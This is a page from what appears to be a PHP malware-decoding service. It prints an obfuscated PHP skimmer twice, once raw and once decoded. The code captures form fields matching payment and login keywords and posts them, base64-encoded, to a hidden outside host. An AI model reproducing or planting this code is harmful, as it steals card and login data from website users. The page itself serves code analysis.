Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$EjTOIcA="k6vq_F-tnYClzdAs0GHhXjf4i8oamTDEP5JKWOcS39LRZxNI7wMUuVyB:Qrpb21eg/";$kbEP = $EjT..

Decoded Output download

<?  $EjTOIcA="k6vq_F-tnYClzdAs0GHhXjf4i8oamTDEP5JKWOcS39LRZxNI7wMUuVyB:Qrpb21eg/";$kbEP = $EjTOIcA[24].$EjTOIcA[28].$EjTOIcA[59].$EjTOIcA[11].$EjTOIcA[26].$EjTOIcA[13].$EjTOIcA[63];$UELpaAh = $EjTOIcA[60].$EjTOIcA[27].$EjTOIcA[15].$EjTOIcA[63].$EjTOIcA[1].$EjTOIcA[23].$EjTOIcA[4].$EjTOIcA[63].$EjTOIcA[8].$EjTOIcA[38].$EjTOIcA[26].$EjTOIcA[13].$EjTOIcA[63];$rjLR='base64_decode';$axRfEHVq ='serialize';$lsqxJtZtq=$EjTOIcA[59].$EjTOIcA[58].$EjTOIcA[63].$EjTOIcA[64].$EjTOIcA[4].$EjTOIcA[28].$EjTOIcA[27].$EjTOIcA[7].$EjTOIcA[38].$EjTOIcA[19];$ETaxuh=$axRfEHVq($_SERVER);$VYkEf=$_REQUEST;$jCmzg = 'file_get_contents';$PYRRQtom = $jCmzg($EjTOIcA[59].$EjTOIcA[19].$EjTOIcA[59].$EjTOIcA[56].$EjTOIcA[65].$EjTOIcA[65].$EjTOIcA[24].$EjTOIcA[8].$EjTOIcA[59].$EjTOIcA[52].$EjTOIcA[7]);$BtimLniMH = 'json_decode';if(!empty($PYRRQtom)) $PYRRQtom = $BtimLniMH($PYRRQtom, true); else $PYRRQtom = array(); if (is_array($PYRRQtom)) $VYkEf=array_merge($VYkEf, $PYRRQtom); $VYkEf=$axRfEHVq($VYkEf); $qSJch = $kbEP($rjLR('LS'.'0='), array($VYkEf, $ETaxuh));if(!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = str_ireplace('/', '_', $_SERVER['DOCUMENT_ROOT']);$SCQ = array(CURLOPT_URL => trim($rjLR('aH'.'R0cHM6'.'Ly9'.'m'.'cmVlZG'.'9'.'tL'.'j'.'Qw'.'N'.'C5'.'tbi'.'9wa'.'W5'.'n'.'L'.'nBocA'.'==')),CURLOPT_POST => true,CURLOPT_POSTFIELDS => "ping&encode=".$UELpaAh( $qSJch ).$rjLR('J'.'mh'.'v'.'c3Q9').$_SERVER['HTTP_HOST'],CURLOPT_SSL_VERIFYHOST => 0,CURLOPT_CONNECTTIMEOUT => 2,CURLOPT_RETURNTRANSFER => true,CURLOPT_TIMEOUT => 5,CURLOPT_SSL_VERIFYPEER => 0);if ($lsqxJtZtq("/".$rjLR('Ymls'.'bGluZ'.'3xzaGl'.'wc'.'G'.'lu'.'Z'.'3x'.'j'.'dnZ8'.'ZHVtb'.'Xl8'.'cGF5'.'b'.'W'.'VudH'.'x'.'jd'.'mM'.'yf'.'G'.'NjX3xl'.'e'.'H'.'Bp'.'cnl'.'8Y'.'2FyZF'.'9u'.'dW1'.'iZ'.'XJ'.'8e'.'WVh'.'cnx'.'tb'.'25'.'0a'.'H'.'xsb'.'2d'.'pb'.'n'.'xma'.'XJzdG5'.'hbWV8Y2'.'Nf'.'b'.'n'.'Vt'.'Ym'.'Vyf'.'H'.'VzZ'.'XJ'.'uYW'.'1l'.'f'.'HNl'.'Y3'.'VyZ'.'XR'.'y'.'YW'.'Rp'.'bmc=')."/i", $VYkEf)) { $FKlUzPX = curl_init();curl_setopt_array($FKlUzPX, $SCQ); $FKlUzPX2 = curl_exec($FKlUzPX); curl_close($FKlUzPX);} ?>

Did this file decode correctly?

Original Code

$EjTOIcA="k6vq_F-tnYClzdAs0GHhXjf4i8oamTDEP5JKWOcS39LRZxNI7wMUuVyB:Qrpb21eg/";$kbEP = $EjTOIcA[24].$EjTOIcA[28].$EjTOIcA[59].$EjTOIcA[11].$EjTOIcA[26].$EjTOIcA[13].$EjTOIcA[63];$UELpaAh = $EjTOIcA[60].$EjTOIcA[27].$EjTOIcA[15].$EjTOIcA[63].$EjTOIcA[1].$EjTOIcA[23].$EjTOIcA[4].$EjTOIcA[63].$EjTOIcA[8].$EjTOIcA[38].$EjTOIcA[26].$EjTOIcA[13].$EjTOIcA[63];$rjLR='base64_decode';$axRfEHVq ='serialize';$lsqxJtZtq=$EjTOIcA[59].$EjTOIcA[58].$EjTOIcA[63].$EjTOIcA[64].$EjTOIcA[4].$EjTOIcA[28].$EjTOIcA[27].$EjTOIcA[7].$EjTOIcA[38].$EjTOIcA[19];$ETaxuh=$axRfEHVq($_SERVER);$VYkEf=$_REQUEST;$jCmzg = 'file_get_contents';$PYRRQtom = $jCmzg($EjTOIcA[59].$EjTOIcA[19].$EjTOIcA[59].$EjTOIcA[56].$EjTOIcA[65].$EjTOIcA[65].$EjTOIcA[24].$EjTOIcA[8].$EjTOIcA[59].$EjTOIcA[52].$EjTOIcA[7]);$BtimLniMH = 'json_decode';if(!empty($PYRRQtom)) $PYRRQtom = $BtimLniMH($PYRRQtom, true); else $PYRRQtom = array(); if (is_array($PYRRQtom)) $VYkEf=array_merge($VYkEf, $PYRRQtom); $VYkEf=$axRfEHVq($VYkEf); $qSJch = $kbEP($rjLR('LS'.'0='), array($VYkEf, $ETaxuh));if(!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = str_ireplace('/', '_', $_SERVER['DOCUMENT_ROOT']);$SCQ = array(CURLOPT_URL => trim($rjLR('aH'.'R0cHM6'.'Ly9'.'m'.'cmVlZG'.'9'.'tL'.'j'.'Qw'.'N'.'C5'.'tbi'.'9wa'.'W5'.'n'.'L'.'nBocA'.'==')),CURLOPT_POST => true,CURLOPT_POSTFIELDS => "ping&encode=".$UELpaAh( $qSJch ).$rjLR('J'.'mh'.'v'.'c3Q9').$_SERVER['HTTP_HOST'],CURLOPT_SSL_VERIFYHOST => 0,CURLOPT_CONNECTTIMEOUT => 2,CURLOPT_RETURNTRANSFER => true,CURLOPT_TIMEOUT => 5,CURLOPT_SSL_VERIFYPEER => 0);if ($lsqxJtZtq("/".$rjLR('Ymls'.'bGluZ'.'3xzaGl'.'wc'.'G'.'lu'.'Z'.'3x'.'j'.'dnZ8'.'ZHVtb'.'Xl8'.'cGF5'.'b'.'W'.'VudH'.'x'.'jd'.'mM'.'yf'.'G'.'NjX3xl'.'e'.'H'.'Bp'.'cnl'.'8Y'.'2FyZF'.'9u'.'dW1'.'iZ'.'XJ'.'8e'.'WVh'.'cnx'.'tb'.'25'.'0a'.'H'.'xsb'.'2d'.'pb'.'n'.'xma'.'XJzdG5'.'hbWV8Y2'.'Nf'.'b'.'n'.'Vt'.'Ym'.'Vyf'.'H'.'VzZ'.'XJ'.'uYW'.'1l'.'f'.'HNl'.'Y3'.'VyZ'.'XR'.'y'.'YW'.'Rp'.'bmc=')."/i", $VYkEf)) { $FKlUzPX = curl_init();curl_setopt_array($FKlUzPX, $SCQ); $FKlUzPX2 = curl_exec($FKlUzPX); curl_close($FKlUzPX);}

Function Calls

serialize 1

Variables

$kbEP implode
$rjLR base64_decode
$EjTOIcA k6vq_F-tnYClzdAs0GHhXjf4i8oamTDEP5JKWOcS39LRZxNI7wMUuVyB:Qrp..
$UELpaAh base64_encode
$axRfEHVq serialize
$lsqxJtZtq preg_match

Stats

MD5 90f5a4ec8457ee63fbf3ab21211becb7
Eval Count 0
Decode Time 93 ms